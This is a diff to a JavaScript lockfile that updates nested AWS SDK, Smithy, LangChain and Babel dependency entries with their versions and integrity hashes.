     "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
 
@@ -7749,28 +7563,26 @@
 
     "@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
 
+    "@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+    "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
+
+    "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
+
+    "@aws-sdk/client-bedrock-agent-runtime/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
     "@aws-sdk/client-bedrock-agent-runtime/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
 
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-
-    "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso": ["@aws-sdk/client-sso@3.948.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.947.0", "@aws-sdk/middleware-host-header": "3.936.0", "@aws-sdk/middleware-logger": "3.936.0", "@aws-sdk/middleware-recursion-detection": "3.948.0", "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/region-config-resolver": "3.936.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@aws-sdk/util-user-agent-browser": "3.936.0", "@aws-sdk/util-user-agent-node": "3.947.0", "@smithy/config-resolver": "^4.4.3", "@smithy/core": "^3.18.7", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/hash-node": "^4.2.5", "@smithy/invalid-dependency": "^4.2.5", "@smithy/middleware-content-length": "^4.2.5", "@smithy/middleware-endpoint": "^4.3.14", "@smithy/middleware-retry": "^4.4.14", "@smithy/middleware-serde": "^4.2.6", "@smithy/middleware-stack": "^4.2.5", "@smithy/node-config-provider": "^4.3.5", "@smithy/node-http-handler": "^4.4.5", "@smithy/protocol-http": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.13", "@smithy/util-defaults-mode-node": "^4.2.16", "@smithy/util-endpoints": "^3.2.5", "@smithy/util-middleware": "^4.2.5", "@smithy/util-retry": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-iWjchXy8bIAVBUsKnbfKYXRwhLgRg3EqCQ5FTr3JbR+QR75rZm4ZOYXlvHGztVTmtAZ+PQVA1Y4zO7v7N87C0A=="],
-
-    "@aws-sdk/client-bedrock-runtime/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
-    "@aws-sdk/client-bedrock-runtime/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
-    "@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
-    "@aws-sdk/client-bedrock-runtime/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
     "@aws-sdk/client-cognito-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+Fsu6Q6C4RSJiy81Y8eApjEB5gVtM+oFKTffg+jSuwtvomJJrhUJBu2zS8wjXSgH/g1MKEWrzyChTBe6clb5FQ=="],
 
     "@aws-sdk/client-cognito-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-eFndh1WEK5YMUYvy3lPlVmYY/fZcQE1D8oSf41Id2vCeIkKJXPcYDCZD+4+xViI6b1XSd7tE+s5AmXzz5ilabQ=="],
@@ -7791,7 +7603,11 @@
 
     "@aws-sdk/client-cognito-identity/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+Fsu6Q6C4RSJiy81Y8eApjEB5gVtM+oFKTffg+jSuwtvomJJrhUJBu2zS8wjXSgH/g1MKEWrzyChTBe6clb5FQ=="],
 
-    "@aws-sdk/client-kendra/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+    "@aws-sdk/client-kendra/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
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@@ -7967,6 +7825,8 @@
 
     "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="],
 
+    "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
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@@ -7975,6 +7835,10 @@
 
     "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
 
+    "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
+    "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
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     "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/token-providers/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="],
@@ -7983,6 +7847,10 @@
 
     "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/config-resolver/@smithy/util-config-provider": ["@smithy/util-config-provider@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-YEjpl6XJ36FTKmD+kRJJWYvrHeUvm5ykaUS5xK+6oXffQPHeEM4/nXlZPe+Wu0lsgRUcNZiliYNh/y7q9c2y6Q=="],
 
+    "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="],
+
+    "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="],
+
     "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
 
     "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
@@ -8013,6 +7881,8 @@
 
     "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
 
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@@ -8225,6 +7971,8 @@
 
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@@ -8233,11 +7981,11 @@
 
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+    "workbox-build/@babel/core/@babel/helper-module-transforms/@babel/helper-module-imports": ["@babel/helper-module-imports@7.28.6", "", { "dependencies": { "@babel/traverse": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw=="],
 
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@@ -8373,28 +8031,34 @@
 
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+
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@@ -8409,76 +8073,86 @@
 
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+    "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
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+    "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
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+    "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
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     "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
 
+    "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
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@@ -8491,10 +8165,16 @@
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
 
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
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     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
 
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+
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     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.921.0", "", { "dependencies": { "@smithy/types": "^4.8.1", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-LVHg0jgjyicKKvpNIEMXIMr1EBViESxcPkqfOlT+X1FkmUMTNZEEVF18tOJg4m4hV5vxtkWcqtr4IEeWa1C41Q=="],
@@ -8503,8 +8183,12 @@
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
 
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
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+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
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     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
@@ -8525,6 +8209,8 @@
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
 
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.921.0", "", { "dependencies": { "@smithy/types": "^4.8.1", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-LVHg0jgjyicKKvpNIEMXIMr1EBViESxcPkqfOlT+X1FkmUMTNZEEVF18tOJg4m4hV5vxtkWcqtr4IEeWa1C41Q=="],
@@ -8533,10 +8219,16 @@
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
 
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
 
+    "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.922.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-HPquFgBnq/KqKRVkiuCt97PmWbKtxQ5iUNLEc6FIviqOoZTmaYG3EDsIbuFBz9C4RHJU4FKLmHL2bL3FEId6AA=="],
@@ -8579,6 +8271,8 @@
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
 
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+
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@@ -8595,6 +8289,8 @@
 
     "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
 
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+
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@@ -8605,10 +8301,16 @@
 
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+
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+
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+
